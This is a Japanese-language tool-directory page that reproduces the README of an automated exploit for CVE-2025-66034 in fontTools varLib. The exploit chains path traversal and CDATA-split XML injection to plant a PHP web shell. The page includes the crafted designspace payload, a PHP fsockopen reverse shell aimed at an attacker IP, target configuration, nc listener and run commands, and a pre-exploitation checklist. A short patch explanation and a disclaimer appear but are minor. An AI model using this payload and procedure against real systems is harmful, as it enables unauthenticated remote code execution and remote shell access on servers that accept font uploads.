Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC-CVE-2025-66034 — CVE-2025-66034 の自動エクスプロイト。fontTools varLib におけるパストラバーサルと XML インジェクションを連鎖させ、細工された .designspace ファイルのアップロードを介して、認証なしのリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用バイナリ解析学習と教育リモートアクセスツール
GitHubv3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

CVE-2025-66034 の自動エクスプロイト。fontTools varLib におけるパストラバーサルと XML インジェクションを連鎖させ、細工された .designspace ファイルのアップロードを介して、認証なしのリモートコード実行を実現します。

リポジトリを見る
466ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

font_varlib.py — CVE-2025-66034

fontTools varLib — 任意ファイル書き込み + XMLインジェクション → リモートコード実行

CVE Component Class Language Deps License


目次

  • 概要
  • 脆弱性の詳細
  • 攻撃チェーン
  • 要件
  • インストール
  • 設定
  • 使用方法
  • 動作の仕組み
  • 脆弱性のあるコード
  • 事前エクスプロイトチェックリスト
  • テスト環境
  • 免責事項
  • 参考文献

概要

CVE-2025-66034 は、fontTools.varLib の可変フォント生成パイプラインにおける脆弱性です。Web アプリケーションがこのパイプラインを公開し、ユーザーが提供した .designspace ファイルを受け入れる場合、2つの脆弱性が連鎖して 認証なしのリモートコード実行 を達成します。

font_varlib.py は、フォント生成、ペイロード作成、アップロード、リバースシェル送信という完全なエクスプロイトチェーンを自動化します。


脆弱性の詳細

フィールド詳細
CVE IDCVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
パッケージfonttools (pip)
影響を受ける範囲>= 4.33.0, < 4.60.2
修正バージョン4.60.2
深刻度中程度 (CVSS 6.3)
攻撃ベクトルローカル (ターゲットへのファイルアップロードが必要)
必要な権限なし
ユーザー操作必要 (アップロードトリガー)

脆弱性連鎖

#プリミティブCWE根本原因
1パストラバーサルCWE-22.designspace 内の filename 属性がサニタイズされずに os.path.join() に直接渡される — 絶対パスの場合、意図された出力ディレクトリが完全に無視される
2XMLインジェクションCWE-91<labelname> CDATA セクションで分割シーケンス (]]]]><![CDATA[>) を使用可能。XMLパーサーを通過して生のPHPが書き出しファイルに混入する

攻撃チェーン

攻撃者が悪意のある .designspace を作成
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── パストラバーサル
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir が無視される → Webルートに書き込み
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XMLインジェクション
                         CDATA分割で生のPHPを
                         出力フォントバイナリに埋め込む
            │
            ▼
    fontTools.varLib.main() がサーバーサイドでファイルを処理
            │
            ▼
    shell.php が Web アクセス可能なディレクトリに書き込まれる
            │
            ▼
    GET /files/shell.php → PHP が実行 → リバースシェルコールバック
            │
            ▼
    RCE as www-data

要件

Python: 3.9+

依存関係:

pip install fonttools requests

システム:

nc (netcat) — 自動リスナーモードに必要 (--no-listen でスキップ)

インストール

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

設定

実行前に、font_varlib.py を開き、ファイル上部の設定ブロックをターゲットに合わせて更新してください。各値にはインラインコメントで説明があります。

# ══════════════════════════════════════════════════════════════════════════════
#  DEFAULTS
#  Change these to match your target before running.
#  All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════

# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST      = "http://test.com"

# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST       = "http://testing.test.com/files"

# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX     = "f0nt_"

# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8

ヒント: Burp Suite で正規のアップロードリクエストをインターセプトし、実行前に UPLOAD_ENDPOINT と正確なマルチパートフィールド名を確認してください。フィールド名が一致しないと、サーバーは HTTP 200 を返すがシェルが書き込まれないというサイレントエラーが発生します。


使用方法

基本 — 自動 nc リスナー

python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

手動リスナー — 自分で nc を起動

# ターミナル 1 — リスナーを起動
nc -lvnp 4444

# ターミナル 2 — 自動リスナーなしでエクスプロイトを実行
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

カスタムターゲット — 実行時にすべてのデフォルトを上書き

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

全オプションリファレンス

引数必須デフォルト説明
--ip✓—攻撃者リスナーIP
--port✓—攻撃者リスナーポート
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTアップロードエンドポイント (POST)
--webrootWEBROOTサーバーサイドのファイルシステム書き込みパス (Webアクセス可能であること)
--shellSHELL_HOST書き込まれたシェルをトリガーするためのベースURL
--no-listenfalse自動ncリスナーをスキップ — トリガーのみ

動作の仕組み

ステップ 1 — フォント生成

fontTools.FontBuilder を使用して、最小限だが構造的に有効な2つの .ttf ソースファイルがプログラム的に生成されます。varLib は可変フォントを処理するために少なくとも2つの軸マスターを必要とします。これにより、ディスク上に実際のフォントファイルを必要とせずにその要件を満たします。

ステップ 2 — ペイロード作成

両方の攻撃プリミティブを埋め込んだ悪意のある .designspace XML ファイルが構築されます:

プリミティブ 1 — CDATA分割によるXMLインジェクション:

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

シーケンス ]]]]><![CDATA[> は現在のCDATAブロックを終了し、すぐに新しいブロックを開きます。XMLパーサーはこれを有効なマークアップとして処理しますが、varLib はその内容をそのまま出力ファイルにシリアライズするため、フォントバイナリに生のPHPが埋め込まれます。

プリミティブ 2 — filename属性によるパストラバーサル:

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

varLib は出力パスを次のように構築します:

output_path = os.path.join(output_dir, filename)

filename が絶対パスの場合、Pythonの os.path.join() は output_dir を完全に無視します。影響を受けるバージョンではサニタイズは適用されません。

ステップ 3 — アップロード

.designspace と2つの .ttf ファイルが、Burp で確認したフィールド名を使用して、ターゲットのフォント生成エンドポイントにマルチパートPOSTとして送信されます。

ステップ 4 — トリガー

書き込まれた .php ファイルへのHTTP GETはリバースシェルを実行し、fsockopen + proc_open を介して攻撃者の nc リスナーに接続します。ターゲットに curl、wget、Python は必要ありません。


脆弱性のあるコード

fontTools/varLib/__init__.py (影響を受けるバージョン):

filename = vf.filename                             # 攻撃者が制御、サニタイズなし
output_path = os.path.join(output_dir, filename)  # 絶対パスによるパストラバーサル
vf.save(output_path)                              # 任意ファイル書き込み

4.60.2 でのパッチ — output_path を構築する前に filename に os.path.basename() を適用し、すべてのパストラバーサルシーケンスを除去。


事前エクスプロイトチェックリスト

実行前に、以下のすべてを確認してください:

[ ] ターゲットの fonttools バージョンが 4.33.0 以上 4.60.2 未満である
[ ] ターゲットが .designspace + .ttf ファイルのアップロードを受け付ける
[ ] バックエンドがアップロードされた .designspace に対して fontTools.varLib.main() を呼び出す
[ ] アップロードフォームのフィールド名を Burp で確認済み (designspace + masters)
[ ] WEBROOT が外部から Web アクセス可能である
[ ] WEBROOT が Web プロセス (www-data または同等) によって書き込み可能である
[ ] SHELL_HOST (--shell) が自分のマシンから到達可能である
[ ] ターゲットのホスト名が /etc/hosts に設定されている

テスト環境

環境fonttools バージョン結果
Ubuntu 22.04 / Python 3.114.59.0✓ 確認済み

免責事項

このツールは教育および許可されたセキュリティ研究目的のみで提供されます。

あなたが所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。著者は、このソフトウェアの誤用またはそれによって生じた損害について一切の責任を負いません。


参考文献

ツールをダウンロード